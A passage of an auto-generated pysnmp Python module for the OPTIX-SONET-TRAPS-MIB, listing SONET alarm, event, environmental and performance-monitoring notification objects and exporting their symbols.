("OPTIX-SONET-TRAPS-MIB", "envCommercialPowerFailure"), ("OPTIX-SONET-TRAPS-MIB", "envPumpFailure"), ("OPTIX-SONET-TRAPS-MIB", "env48VoltPowerSupplyFailure"), ("OPTIX-SONET-TRAPS-MIB", "envRectifierFailure"), ("OPTIX-SONET-TRAPS-MIB", "envRectifierHighVoltage"), ("OPTIX-SONET-TRAPS-MIB", "envRectiFierLowVoltage"), ("OPTIX-SONET-TRAPS-MIB", "envSmoke"), ("OPTIX-SONET-TRAPS-MIB", "envToxicGas"), ("OPTIX-SONET-TRAPS-MIB", "envVentilationSystemFailure"), ("OPTIX-SONET-TRAPS-MIB", "pmSESSection"), ("OPTIX-SONET-TRAPS-MIB", "pmCVLine"), ("OPTIX-SONET-TRAPS-MIB", "pmESLine"), ("OPTIX-SONET-TRAPS-MIB", "pmSESLine"), ("OPTIX-SONET-TRAPS-MIB", "pmUASLine"), ("OPTIX-SONET-TRAPS-MIB", "pmPSD"), ("OPTIX-SONET-TRAPS-MIB", "pmCVPath"), ("OPTIX-SONET-TRAPS-MIB", "pmESPath"), ("OPTIX-SONET-TRAPS-MIB", "pmPjcsVdet"), ("OPTIX-SONET-TRAPS-MIB", "pmBdTempCur"), ("OPTIX-SONET-TRAPS-MIB", "pmBdTempMax"), ("OPTIX-SONET-TRAPS-MIB", "pmBdTempMin"), ("OPTIX-SONET-TRAPS-MIB", "pmPmuTempCur"), ("OPTIX-SONET-TRAPS-MIB", "pmPmuTempMax"), ("OPTIX-SONET-TRAPS-MIB", "pmPmuTempMin"), ("OPTIX-SONET-TRAPS-MIB", "pmLbcCur"), ("OPTIX-SONET-TRAPS-MIB", "pmLbcMax"), ("OPTIX-SONET-TRAPS-MIB", "pmLbcMin"), ("OPTIX-SONET-TRAPS-MIB", "pmOptCur"), ("OPTIX-SONET-TRAPS-MIB", "pmOptMax"), ("OPTIX-SONET-TRAPS-MIB", "pmOptMin"), ("OPTIX-SONET-TRAPS-MIB", "pmOprCur"), ("OPTIX-SONET-TRAPS-MIB", "pmOprMax"), ("OPTIX-SONET-TRAPS-MIB", "pmOprMin"), ("OPTIX-SONET-TRAPS-MIB", "pmCVPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmCVCPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmESPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmESCPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmSESPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmSESCPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmUASPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmUASCPPath"), ("OPTIX-SONET-TRAPS-MIB", "pmPscProtection"), ("OPTIX-SONET-TRAPS-MIB", "pmPsdProtection"), ("OPTIX-SONET-TRAPS-MIB", "pmPscSpan"), ("OPTIX-SONET-TRAPS-MIB", "pmPsdSpan"), ("OPTIX-SONET-TRAPS-MIB", "pmPscRing"), ("OPTIX-SONET-TRAPS-MIB", "pmPsdRing"), ("OPTIX-SONET-TRAPS-MIB", "pmPscWork"), ("OPTIX-SONET-TRAPS-MIB", "pmPsdWork"), ("OPTIX-SONET-TRAPS-MIB", "pmLCCCur"), ("OPTIX-SONET-TRAPS-MIB", "pmLCCMax"), ("OPTIX-SONET-TRAPS-MIB", "pmLCCMin"), ("OPTIX-SONET-TRAPS-MIB", "pmLTEMPCur"), ("OPTIX-SONET-TRAPS-MIB", "pmLTEMPMax"), ("OPTIX-SONET-TRAPS-MIB", "pmLTEMPMin"), ("OPTIX-SONET-TRAPS-MIB", "pmLAPDBVCur"), ("OPTIX-SONET-TRAPS-MIB", "pmLAPDBVMax"), ("OPTIX-SONET-TRAPS-MIB", "pmLAPDBVMin"), ("OPTIX-SONET-TRAPS-MIB", "pmPLBCCur"), ("OPTIX-SONET-TRAPS-MIB", "pmPLBCMax"), ("OPTIX-SONET-TRAPS-MIB", "pmPLBCMin"), ("OPTIX-SONET-TRAPS-MIB", "pmPLWCCur"), ("OPTIX-SONET-TRAPS-MIB", "pmPLWCMax"), ("OPTIX-SONET-TRAPS-MIB", "pmPLWCMin"), ("OPTIX-SONET-TRAPS-MIB", "pmCVSection"), ("OPTIX-SONET-TRAPS-MIB", "pmESSection"), ("OPTIX-SONET-TRAPS-MIB", "pmSESPath"), ("OPTIX-SONET-TRAPS-MIB", "pmUASPath"), ("OPTIX-SONET-TRAPS-MIB", "pmCVVT"), ("OPTIX-SONET-TRAPS-MIB", "pmESVT"), ("OPTIX-SONET-TRAPS-MIB", "pmSESVT"), ("OPTIX-SONET-TRAPS-MIB", "pmUASVT"), ("OPTIX-SONET-TRAPS-MIB", "pmPSC"), ("OPTIX-SONET-TRAPS-MIB", "pmPjcsPdet"), ("OPTIX-SONET-TRAPS-MIB", "almChassisMea"), ("OPTIX-SONET-TRAPS-MIB", "evtChassisMea"), ("OPTIX-SONET-TRAPS-MIB", "almRmvToMt"), ("OPTIX-SONET-TRAPS-MIB", "almRstFromMt"), ("OPTIX-SONET-TRAPS-MIB", "almLpbk"), ("OPTIX-SONET-TRAPS-MIB", "almRlsLpbk"), ("OPTIX-SONET-TRAPS-MIB", "evtRmvToMt"), ("OPTIX-SONET-TRAPS-MIB", "evtRstFromMt"), ("OPTIX-SONET-TRAPS-MIB", "evtLpbk"), ("OPTIX-SONET-TRAPS-MIB", "evtRlsLpbk"), ("OPTIX-SONET-TRAPS-MIB", "almPowerExceed"), ("OPTIX-SONET-TRAPS-MIB", "almLcasPlct"), ("OPTIX-SONET-TRAPS-MIB", "almLcasPlcr"), ("OPTIX-SONET-TRAPS-MIB", "almLcasTlct"), ("OPTIX-SONET-TRAPS-MIB", "almLcasTlcr"), ("OPTIX-SONET-TRAPS-MIB", "evtPowerExceed"), ("OPTIX-SONET-TRAPS-MIB", "evtLcasPlct"), ("OPTIX-SONET-TRAPS-MIB", "evtLcasPlcr"), ("OPTIX-SONET-TRAPS-MIB", "evtLcasTlct"), ("OPTIX-SONET-TRAPS-MIB", "evtLcasTlcr"), ("OPTIX-SONET-TRAPS-MIB", "almLcasFopt"), ("OPTIX-SONET-TRAPS-MIB", "almLcasFopr"), ("OPTIX-SONET-TRAPS-MIB", "almGfpCsf"), ("OPTIX-SONET-TRAPS-MIB", "almLptRfi"), ("OPTIX-SONET-TRAPS-MIB", "almPartialUnprotected"), ("OPTIX-SONET-TRAPS-MIB", "evtLcasFopt"), ("OPTIX-SONET-TRAPS-MIB", "evtLcasFopr"), ("OPTIX-SONET-TRAPS-MIB", "evtGfpCsf"), ("OPTIX-SONET-TRAPS-MIB", "evtLptRfi"), ("OPTIX-SONET-TRAPS-MIB", "evtPartialUnprotected"), ("OPTIX-SONET-TRAPS-MIB", "almFanMea"), ("OPTIX-SONET-TRAPS-MIB", "evtFanMea")]]: if getattr(mibBuilder, 'version', 0) < (4, 4, 2): # WARNING: leading objects get lost here! Upgrade your pysnmp version! optixSonetTrapsNotificationGroup = optixSonetTrapsNotificationGroup.setObjects(*_optixSonetTrapsNotificationGroup_obj) else: optixSonetTrapsNotificationGroup = optixSonetTrapsNotificationGroup.setObjects(*_optixSonetTrapsNotificationGroup_obj, **dict(append=True)) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): optixSonetTrapsNotificationGroup = optixSonetTrapsNotificationGroup.setStatus('current') optixSonetTrapsCompliances = MibIdentifier((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 60, 2)) optixSonetBasicCompliance = ModuleCompliance((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 60, 2, 1)).setObjects(("OPTIX-SONET-TRAPS-MIB", "optixSonetTrapsObjectGroup"), ("OPTIX-SONET-TRAPS-MIB", "optixSonetTrapsNotificationGroup")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): optixSonetBasicCompliance = optixSonetBasicCompliance.setStatus('current') mibBuilder.exportSymbols("OPTIX-SONET-TRAPS-MIB", evtSumInputOpticalPowerLow=evtSumInputOpticalPowerLow, almInputPowerHigh=almInputPowerHigh, almRingSwitch=almRingSwitch, evtGFPLossOfFrame=evtGFPLossOfFrame, pmPscSpan=pmPscSpan, evtForcedSwitch=evtForcedSwitch, almLoopbackTerminal=almLoopbackTerminal, almAlarmIndicationSignalPath=almAlarmIndicationSignalPath, almRemoteServerFailureIndicationVT=almRemoteServerFailureIndicationVT, evtStateChange=evtStateChange, almFastStartSync=almFastStartSync, almForceSwitchOfSpan=almForceSwitchOfSpan, rptEvtVT=rptEvtVT, evtSequenceNumberMismatchedVT=evtSequenceNumberMismatchedVT, pmCVPPath=pmCVPPath, evtInconsistentApsCodes=evtInconsistentApsCodes, pmBdTempMax=pmBdTempMax, almALS=almALS, envOpenDoor=envOpenDoor, almUpgradeInProcess=almUpgradeInProcess, evtSignalFailureSection=evtSignalFailureSection, evtLossOfAllSynchronousSource=evtLossOfAllSynchronousSource, almBitsAIS=almBitsAIS, almImproperApsCodes=almImproperApsCodes, evtSwitchProtectionToWorkingUnit=evtSwitchProtectionToWorkingUnit, evtRemoteClientSF=evtRemoteClientSF, evtPDIPath=evtPDIPath, almAlarmIndicationSignalVT=almAlarmIndicationSignalVT, evtPowerBFail=evtPowerBFail, pmPLWCMax=pmPLWCMax, evtLoopbackFacility=evtLoopbackFacility, almLaserTemperatureLow=almLaserTemperatureLow, evtOTUAlarmIndicationSignal=evtOTUAlarmIndicationSignal, optixSonetTrapsObjectGroup=optixSonetTrapsObjectGroup, envFuseFailure=envFuseFailure, evtRmvToMt=evtRmvToMt, pmUASVT=pmUASVT, almManualSwitch=almManualSwitch, almLOF=almLOF, evtForwardErrorCorrectionLossOfFrame=evtForwardErrorCorrectionLossOfFrame, evtRevertiveModeMismatch=evtRevertiveModeMismatch, evtTcaCVSection=evtTcaCVSection, evtSqmVT=evtSqmVT, envHighWater=envHighWater, pmESPath=pmESPath, evtSyncNotSyncnronized=evtSyncNotSyncnronized, evtLaserTemperatureLow=evtLaserTemperatureLow, almLagPortFail=almLagPortFail, almLossOfMultiplexSignal=almLossOfMultiplexSignal, evtCardConfigurationFail=evtCardConfigurationFail, almLBCHigh=almLBCHigh, evtUnequippedVT=evtUnequippedVT, evtDbmsError=evtDbmsError, almOamRemoteSD=almOamRemoteSD, pmSESCPPath=pmSESCPPath, evtOTUOutOfMultiFrame=evtOTUOutOfMultiFrame, evtSingleFanFail=evtSingleFanFail, almLpbk=almLpbk, almFanIsOpened=almFanIsOpened, almTcaPjcsPdet=almTcaPjcsPdet, almTcaESLine=almTcaESLine, almLaserShutDown=almLaserShutDown, rptEvtMOD2=rptEvtMOD2, evtTcaCVLine=evtTcaCVLine, optixSonetTrapsNotificationGroup=optixSonetTrapsNotificationGroup, evtPowerFail=evtPowerFail, almRingModeMisatch=almRingModeMisatch, evtALS=evtALS, almSmBDI=almSmBDI, almApsModeMismatch=almApsModeMismatch, evtPumpDiodeCoolingCurrentHigh=evtPumpDiodeCoolingCurrentHigh, evtSsmLOS=evtSsmLOS, evtTcaSESPath=evtTcaSESPath, pmSESSection=pmSESSection, evtSmBDI=evtSmBDI, envBatteryDischarging=envBatteryDischarging, pmPscRing=pmPscRing, almPmTIM=almPmTIM, almSumInputOpticalPowerHigh=almSumInputOpticalPowerHigh, evtLBCLow=evtLBCLow, pmOptMax=pmOptMax, evtPartialUnprotected=evtPartialUnprotected, almSmIAE=almSmIAE, almLockoutProtectionForAllSpans=almLockoutProtectionForAllSpans, evtLockoutProtectionUnit=evtLockoutProtectionUnit, almWaitToRestore=almWaitToRestore, almInputPowerLow=almInputPowerLow, evtBlsrSFofSpan=evtBlsrSFofSpan, almEthCfmLoc=almEthCfmLoc, almTcaPjcsVdet=almTcaPjcsVdet, almSsmDQL=almSsmDQL, almTopologyNeedsUpdatingOrIsInvalid=almTopologyNeedsUpdatingOrIsInvalid, evtManualSetSSM=evtManualSetSSM, almUnequippedPath=almUnequippedPath, envLowHumidity=envLowHumidity, evtS1ModeSynChange=evtS1ModeSynChange, evtTcaCVVT=evtTcaCVVT, evtHotSwitchControlUnavail=evtHotSwitchControlUnavail, optixTrapsEvent=optixTrapsEvent, almBlsrSFofSpan=almBlsrSFofSpan, almDataLost=almDataLost, pmCVLine=pmCVLine, almCommunicationFail=almCommunicationFail, almLcasTlct=almLcasTlct, evtLanLossOfCarrierSignal=evtLanLossOfCarrierSignal, optixTrapsPerformance=optixTrapsPerformance, almFCSError=almFCSError, evtSmTIM=evtSmTIM, evtFileLost=evtFileLost, almEquipmentTypeMismatch=almEquipmentTypeMismatch, rptAlmName=rptAlmName, almLoopbackInhibited=almLoopbackInhibited, almPowerAFail=almPowerAFail, almLcasPlct=almLcasPlct, evtLoopbackAllDS1FEAC=evtLoopbackAllDS1FEAC, almAutoSwitch=almAutoSwitch, almRevertiveModeMismatch=almRevertiveModeMismatch, almBitsLOF=almBitsLOF, almLossOfSingleWavelengthSignal=almLossOfSingleWavelengthSignal, almLoopbackDS1FEAC=almLoopbackDS1FEAC, pmESPPath=pmESPPath, almOamSelfLoop=almOamSelfLoop, evtLossOfClock=evtLossOfClock, evtATECardOfflineOrUninstalled=evtATECardOfflineOrUninstalled, almSyncSwitch=almSyncSwitch, evtTcaUASVT=evtTcaUASVT, almRemoteFailureIindicationLine=almRemoteFailureIindicationLine, evtTcaSESPPath=evtTcaSESPPath, evtSquelchTableNeedsUpdatingOrIsInvalid=evtSquelchTableNeedsUpdatingOrIsInvalid, evtPowerSwitch=evtPowerSwitch, almSignalFailureLine=almSignalFailureLine, evtNodeIdDuplicatedOrMismatched=evtNodeIdDuplicatedOrMismatched, almDbmsIsInProtectMode=almDbmsIsInProtectMode, evtFarEndProtectionLineFailure=evtFarEndProtectionLineFailure, almRateOver=almRateOver, evtTemperatureHigh=evtTemperatureHigh, pmBdTempCur=pmBdTempCur, rptEvtPath=rptEvtPath, evtLoopback=evtLoopback, almSecuAlarm=almSecuAlarm, almExerciseSwitchRing=almExerciseSwitchRing, evtSignalFailurePath=evtSignalFailurePath, pmESSection=pmESSection, almExerciseSwitchSuccess=almExerciseSwitchSuccess, evtCommunicationFail=evtCommunicationFail, pmLAPDBVMin=pmLAPDBVMin, evtTestSessionActive=evtTestSessionActive, almSignalFailureSection=almSignalFailureSection, envFireDetectorFailure=envFireDetectorFailure, almPayloadLabelMismatchVT=almPayloadLabelMismatchVT, almTcaESPPath=almTcaESPPath, evtAdditionOfSingleWavelengthSignal=evtAdditionOfSingleWavelengthSignal, almLoopbackAllDS1FEAC=almLoopbackAllDS1FEAC, almPowerFail=almPowerFail, evtInterfaceLinkMismatch=evtInterfaceLinkMismatch, evtNormalSyncMode=evtNormalSyncMode, pmUASCPPath=pmUASCPPath, evtAIS=evtAIS, evtInterfaceCardFail=evtInterfaceCardFail, envAirDryerFailure=envAirDryerFailure, almRingIDMismatch=almRingIDMismatch, evtSpanSwitch=evtSpanSwitch, pmPsdSpan=pmPsdSpan, evtNoLaserParameter=evtNoLaserParameter, almSwitchToIdle=almSwitchToIdle, almBlsrSDofSpan=almBlsrSDofSpan, evtPmTIM=evtPmTIM, evtLaserShutDown=evtLaserShutDown, almEquipmentOfflineOrUninstalled=almEquipmentOfflineOrUninstalled, almTcaSESPath=almTcaSESPath, evtPathLevelMismatch=evtPathLevelMismatch, almEnhancedRemoteConnectivityFailureIndicationVT=almEnhancedRemoteConnectivityFailureIndicationVT, evtSsmDQL=evtSsmDQL, evtEnhancedRemoteConnectivityFailureIndicationVT=evtEnhancedRemoteConnectivityFailureIndicationVT, rptEvtAiddet=rptEvtAiddet, evtRemoteFailureIndicationVT=evtRemoteFailureIndicationVT, almEnhancedRemotePalyloadFailureIndicationPath=almEnhancedRemotePalyloadFailureIndicationPath, almTransmitterFailure=almTransmitterFailure, evtAlarmIndicationSignalPath=evtAlarmIndicationSignalPath, evtFanIsClosed=evtFanIsClosed, almSF=almSF, evtFanOffline=evtFanOffline, evtManualSwitchOfRing=evtManualSwitchOfRing, almTimeingModeChange=almTimeingModeChange, evtDCCFailureIndication=evtDCCFailureIndication, envLowFuel=envLowFuel, pmPsdWork=pmPsdWork, PYSNMP_MODULE_ID=optixSonetTraps, almPowerSwitch=almPowerSwitch, almEnhancedRemotePalyloadFailureIndicationVT=almEnhancedRemotePalyloadFailureIndicationVT, envLowCablePressure=envLowCablePressure, evtInvalidEQPT=evtInvalidEQPT, evtTcaUASCPPath=evtTcaUASCPPath, pmSESPPath=pmSESPPath, almEthCfmUnexperi=almEthCfmUnexperi, almDgeAdjustmentFail=almDgeAdjustmentFail, rptEvtNtfcnCde=rptEvtNtfcnCde, almSsmLOS=almSsmLOS, pmCVCPPath=pmCVCPPath, evtLcasPlcr=evtLcasPlcr, almApsTypeMismatch=almApsTypeMismatch, evtSmBipSignalDefect=evtSmBipSignalDefect, evtDbmsCfgCorrupted=evtDbmsCfgCorrupted, evtLockoutWorkingSpan=evtLockoutWorkingSpan, evtUpgradeInProcess=evtUpgradeInProcess, evtSF=evtSF, almLcasFopt=almLcasFopt, evtEnhancedRemotePalyloadFailureIndicationPath=evtEnhancedRemotePalyloadFailureIndicationPath, evtTimeingModeChange=evtTimeingModeChange, evtEnhancedRemoteConnectivityFailureIndicationPath=evtEnhancedRemoteConnectivityFailureIndicationPath, evtSignalDegradeVT=evtSignalDegradeVT, pmBdTempMin=pmBdTempMin, almLockoutWorkingSpan=almLockoutWorkingSpan, evtLpbk=evtLpbk, envSmoke=envSmoke, pmCVPath=pmCVPath, almChassisMea=almChassisMea, evtHoldoverSync=evtHoldoverSync, almEqptNoServiceAffecting=almEqptNoServiceAffecting, almSwitchToPassthru=almSwitchToPassthru, almSoftwareVersionMismatch=almSoftwareVersionMismatch, almPersistentLineSquelching=almPersistentLineSquelching, envAirCompressorFailure=envAirCompressorFailure, evtEnhancedRemoteServerFailureIndicationPath=evtEnhancedRemoteServerFailureIndicationPath, almLossOfPointerPath=almLossOfPointerPath, envVentilationSystemFailure=envVentilationSystemFailure, evtLoopbackFAC2NI=evtLoopbackFAC2NI, envHighHumidity=envHighHumidity, almLoopbackFAC2NI=almLoopbackFAC2NI, evtPayloadLabelMisatch=evtPayloadLabelMisatch, almSignalDegradeVT=almSignalDegradeVT, evtLaserApdBiasVoltageLow=evtLaserApdBiasVoltageLow, almFanOffline=almFanOffline, almBitsCodeViolationOver=almBitsCodeViolationOver, evtSyncLOS=evtSyncLOS, pmPLWCCur=pmPLWCCur, almSumOutOpticalPowerHigh=almSumOutOpticalPowerHigh, evtLcasTlct=evtLcasTlct, envFire=envFire, evtRemoteFailureIindicationLine=evtRemoteFailureIindicationLine, almSmBEI=almSmBEI, envRectifierHighVoltage=envRectifierHighVoltage, almSmBipExcessive=almSmBipExcessive, evtAIC=evtAIC, envMiscellaneous=envMiscellaneous, evtLockoutOfTheProtocol=evtLockoutOfTheProtocol, almBitsLOS=almBitsLOS, almRemoteFailureIindicationPath=almRemoteFailureIindicationPath, pmESVT=pmESVT, pmUASPPath=pmUASPPath, evtPmBipExcessive=evtPmBipExcessive, almLaserNotExist=almLaserNotExist, almExerciseSwitchSpan=almExerciseSwitchSpan, evtTcaESSection=evtTcaESSection) mibBuilder.exportSymbols("OPTIX-SONET-TRAPS-MIB", evtTcaPjcsPdet=evtTcaPjcsPdet, pmPmuTempMin=pmPmuTempMin, almAIS=almAIS, envAirConditioningFailure=envAirConditioningFailure, almSumInputOpticalPowerLow=almSumInputOpticalPowerLow, almUnequippedVT=almUnequippedVT, evtSumInputOpticalPowerHigh=evtSumInputOpticalPowerHigh, almProtectionSwitching=almProtectionSwitching, almOTUAlarmIndicationSignal=almOTUAlarmIndicationSignal, evtDbmsCfgBackupFailed=evtDbmsCfgBackupFailed, almLoopbackCrossConnect=almLoopbackCrossConnect, evtRemoteServerFailureIndicationVT=evtRemoteServerFailureIndicationVT, almPIUCardOfflineOrUninstalled=almPIUCardOfflineOrUninstalled, almTcaSESVT=almTcaSESVT, almSD=almSD, almLaserDegraded=almLaserDegraded, evtPmBipSignalDefect=evtPmBipSignalDefect, almLOS=almLOS, evtIncorrectFiberConnection=evtIncorrectFiberConnection, almDlagProtFail=almDlagProtFail, almSingleFanFail=almSingleFanFail, evtLossOfSingleWavelengthSignal=evtLossOfSingleWavelengthSignal, evtLoopbackTerminalPath=evtLoopbackTerminalPath, almSignalDegradeLine=almSignalDegradeLine, almSmBipSignalDefect=almSmBipSignalDefect, evtForwardErrorCorrectionOutOfFrame=evtForwardErrorCorrectionOutOfFrame, envEngineFailure=envEngineFailure, envHighTemperature=envHighTemperature, almPathLevelMismatch=almPathLevelMismatch, evtRateOver=evtRateOver, envGeneratorFailure=envGeneratorFailure, pmSESVT=pmSESVT, rptEvtEffect=rptEvtEffect, pmCVSection=pmCVSection, almLoopbackDS3FEAC=almLoopbackDS3FEAC, evtLcasTlcr=evtLcasTlcr, rptEvtSlot=rptEvtSlot, pmPsdProtection=pmPsdProtection, almEnhancedRemoteConnectivityFailureIndicationPath=almEnhancedRemoteConnectivityFailureIndicationPath, almTcaUASPPath=almTcaUASPPath, almSqmVT=almSqmVT, evtSmIAE=evtSmIAE, evtExerciseSwitchSpan=evtExerciseSwitchSpan, rptEvtMonValue=rptEvtMonValue, evtInputPowerHigh=evtInputPowerHigh, almTraceIdentifierMismatchPath=almTraceIdentifierMismatchPath, almATECardOfflineOrUninstalled=almATECardOfflineOrUninstalled, evtCommitTimeout=evtCommitTimeout, evtWaitToRestore=evtWaitToRestore, evtTcaESLine=evtTcaESLine, optixTrapsCommon=optixTrapsCommon, evtSD=evtSD, almNoLaserParameter=almNoLaserParameter, almTestSessionActive=almTestSessionActive, evtPortOffline=evtPortOffline, almMtMode=almMtMode, pmOprCur=pmOprCur, almEnhancedRemoteServerFailureIndicationPath=almEnhancedRemoteServerFailureIndicationPath, evtGfpCsf=evtGfpCsf, evtSignalDegradeLine=evtSignalDegradeLine, almEsconCodeError=almEsconCodeError, almTcaESPath=almTcaESPath, evtOutPowerHigh=evtOutPowerHigh, almTcaESCPPath=almTcaESCPPath, evtBitsLOF=evtBitsLOF, optixSonetTraps=optixSonetTraps, pmPLBCCur=pmPLBCCur, rptEvtSeqNumber=rptEvtSeqNumber, almPrimaryChannelChange=almPrimaryChannelChange, pmLAPDBVMax=pmLAPDBVMax, almLaserModuleMismatch=almLaserModuleMismatch, env48VoltPowerSupplyFailure=env48VoltPowerSupplyFailure, evtRstFromMt=evtRstFromMt, almLockoutProtectionSpan=almLockoutProtectionSpan, evtSignalDegradeSection=evtSignalDegradeSection, evtClientMismatch=evtClientMismatch, evtODUOpenConnectionIndicationSignal=evtODUOpenConnectionIndicationSignal, almExerciseSwitch=almExerciseSwitch, almPartialUnprotected=almPartialUnprotected, evtTcaCVPath=evtTcaCVPath, almTcaSESLine=almTcaSESLine, almTcaUASVT=almTcaUASVT, almLomVT=almLomVT, almApsChannelMismatchFailure=almApsChannelMismatchFailure, almREILine=almREILine, evtTcaPjcsVdet=evtTcaPjcsVdet, pmPscWork=pmPscWork, envEngineOperating=envEngineOperating, evtTcaESCPPath=evtTcaESCPPath, evtLoopbackDS1FEAC=evtLoopbackDS1FEAC, evtAlarmIndicationSignalVT=evtAlarmIndicationSignalVT, almPumpDiodeCoolingCurrentHigh=almPumpDiodeCoolingCurrentHigh, almODUAlarmIndicationSignal=almODUAlarmIndicationSignal, pmOptMin=pmOptMin, evtTcaCVCPPath=evtTcaCVCPPath, almForcedSwitch=almForcedSwitch, evtTcaCVPPath=evtTcaCVPPath, almSwdlChaGmngmMismatch=almSwdlChaGmngmMismatch, evtFCSError=evtFCSError, evtForceSwitchOfRing=evtForceSwitchOfRing, almCcLoss=almCcLoss, almTcaUASCPPath=almTcaUASCPPath, almOutPowerLow=almOutPowerLow, evtProtectionSwitching=evtProtectionSwitching, almTimSection=almTimSection, evtImproperApsCodes=evtImproperApsCodes, almDbmsError=almDbmsError, almIncorrectFiberConnection=almIncorrectFiberConnection, almTcaUASLine=almTcaUASLine, evtBitsAIS=evtBitsAIS, evtRemoteFailureIindicationPath=evtRemoteFailureIindicationPath, optixTrapsEnvironment=optixTrapsEnvironment, evtOutPowerLow=evtOutPowerLow, almS1ModeSynChange=almS1ModeSynChange, evtBlsrNodeIsolate=evtBlsrNodeIsolate, evtTopologyNeedsUpdatingOrIsInvalid=evtTopologyNeedsUpdatingOrIsInvalid, almLanLossOfCarrierSignal=almLanLossOfCarrierSignal, evtTransmitterFailure=evtTransmitterFailure, evtLptRfi=evtLptRfi, almLoopback=almLoopback, almNeBdDataMismatch=almNeBdDataMismatch, evtLockoutProtectionSpan=evtLockoutProtectionSpan, evtFanFailures=evtFanFailures, almSignalDegradeSection=almSignalDegradeSection, almEthCfmMismerge=almEthCfmMismerge, pmOprMax=pmOprMax, evtTcaUASLine=evtTcaUASLine, almSyncNotSyncnronized=almSyncNotSyncnronized, almSynchronousSourceDegrade=almSynchronousSourceDegrade, evtLaserApdBiasVoltageHigh=evtLaserApdBiasVoltageHigh, pmSESPath=pmSESPath, evtDefaultKByteDefect=evtDefaultKByteDefect, almLptRfi=almLptRfi, almInterfaceLinkMismatch=almInterfaceLinkMismatch, almLossOfAllSynchronousSource=almLossOfAllSynchronousSource, evtSwtichWokingToProtectingUnit=evtSwtichWokingToProtectingUnit, evtPowerAFail=evtPowerAFail, evtSyncSwitch=evtSyncSwitch, evtSyncReferenceSourceFailure=evtSyncReferenceSourceFailure, rptPmName=rptPmName, almSmTIM=almSmTIM, pmLTEMPMin=pmLTEMPMin, evtBitsLOS=evtBitsLOS, evtODULockedIndicationSignal=evtODULockedIndicationSignal, almInvalidEQPT=almInvalidEQPT, evtTcaESPPath=evtTcaESPPath, almApsByteFailure=almApsByteFailure, almPmBipExcessive=almPmBipExcessive, almLcasPlcr=almLcasPlcr, evtChassisMea=evtChassisMea, almDCCFailureIndication=almDCCFailureIndication, evtUnequippedPath=evtUnequippedPath, evtLossOfPointerVT=evtLossOfPointerVT, optixSonetBasicCompliance=optixSonetBasicCompliance, almXconMismatched=almXconMismatched, evtExerciseSwitchSuccess=evtExerciseSwitchSuccess, almDBSyncFail=almDBSyncFail, pmPscProtection=pmPscProtection, evtApsByteFailure=evtApsByteFailure, almOTULossOfFrame=almOTULossOfFrame, pmPsdRing=pmPsdRing, pmPmuTempCur=pmPmuTempCur, evtLoopbackInhibited=evtLoopbackInhibited, pmPLBCMin=pmPLBCMin, evtLoopbackTerminal=evtLoopbackTerminal, almRemoteClientSD=almRemoteClientSD, almRAI=almRAI, almGainLow=almGainLow, almStateChange=almStateChange, evtGainLow=evtGainLow, evtLossOfMultiplexSignal=evtLossOfMultiplexSignal, rptEvtNumber=rptEvtNumber, almCommitTimeout=almCommitTimeout, evtLBCHigh=evtLBCHigh, almForwardErrorCorrectionOutOfFrame=almForwardErrorCorrectionOutOfFrame, almDefaultKByteDefect=almDefaultKByteDefect, pmUASPath=pmUASPath, envRectiFierLowVoltage=envRectiFierLowVoltage, evtTraceIdentifierMismatchPath=evtTraceIdentifierMismatchPath, almLaserApdBiasVoltageHigh=almLaserApdBiasVoltageHigh, almTemperatureHigh=almTemperatureHigh, evtLCCHigh=evtLCCHigh, evtPersistentLineSquelching=evtPersistentLineSquelching, almSyncReferenceSourceFailure=almSyncReferenceSourceFailure, evtRemoteClientSD=evtRemoteClientSD, almHoldoverSync=almHoldoverSync, evtExerciseSwitch=evtExerciseSwitch, almLCCLow=almLCCLow, almLossOfClock=almLossOfClock, evtDgeAdjustmentFail=evtDgeAdjustmentFail, almLOMPath=almLOMPath, evtREILine=evtREILine, evtLcasPlct=evtLcasPlct, evtSynchronousSourceDegrade=evtSynchronousSourceDegrade, almLBCLow=almLBCLow, evtSignalDegradePath=evtSignalDegradePath, evtRlsLpbk=evtRlsLpbk, evtEqptNoServiceAffecting=evtEqptNoServiceAffecting, evtEqptServiceAffectingFail=evtEqptServiceAffectingFail, rptEvtState=rptEvtState, almFanFailures=almFanFailures, evtExtraTrafficIsBeingSquelched=evtExtraTrafficIsBeingSquelched, evtLoopbackCrossConnect=evtLoopbackCrossConnect, evtTcaSESVT=evtTcaSESVT, evtLaserApprochingEndOfLife=evtLaserApprochingEndOfLife, pmPjcsPdet=pmPjcsPdet, evtLCCLow=evtLCCLow, almDbmsCfgBackupFailed=almDbmsCfgBackupFailed, evtLinkError=evtLinkError, evtTcaUASPath=evtTcaUASPath, pmLCCCur=pmLCCCur, evtAlarmIndicationSignalLine=evtAlarmIndicationSignalLine, evtSignalFailureLine=evtSignalFailureLine, evtExerciseSwitchRing=evtExerciseSwitchRing, almFanIsClosed=almFanIsClosed, evtTcaESVT=evtTcaESVT, almSyncLOS=almSyncLOS, almBlsrSFofRing=almBlsrSFofRing, almClientMismatch=almClientMismatch, almTcaCVCPPath=almTcaCVCPPath, envLowWater=envLowWater, pmLTEMPMax=pmLTEMPMax, almNodeIdDuplicatedOrMismatched=almNodeIdDuplicatedOrMismatched, almLoopbackFacility=almLoopbackFacility, envLowTemperature=envLowTemperature, almEthCfmRdi=almEthCfmRdi, evtPIUCardOfflineOrUninstalled=evtPIUCardOfflineOrUninstalled, evtManualSwitch=evtManualSwitch, envCPMAJOR=envCPMAJOR, evtPayloadLabelMismatchVT=evtPayloadLabelMismatchVT, almLockoutProtectionUnit=almLockoutProtectionUnit, optixSonetTrapsCompliances=optixSonetTrapsCompliances, almLaserTemperatureHigh=almLaserTemperatureHigh, evtLCASBandwidthReduced=evtLCASBandwidthReduced, evtLossOfPointerPath=evtLossOfPointerPath, envExplosiveGas=envExplosiveGas, evtPmBDI=evtPmBDI, pmLbcMin=pmLbcMin, pmPmuTempMax=pmPmuTempMax, almMpConflict=almMpConflict, 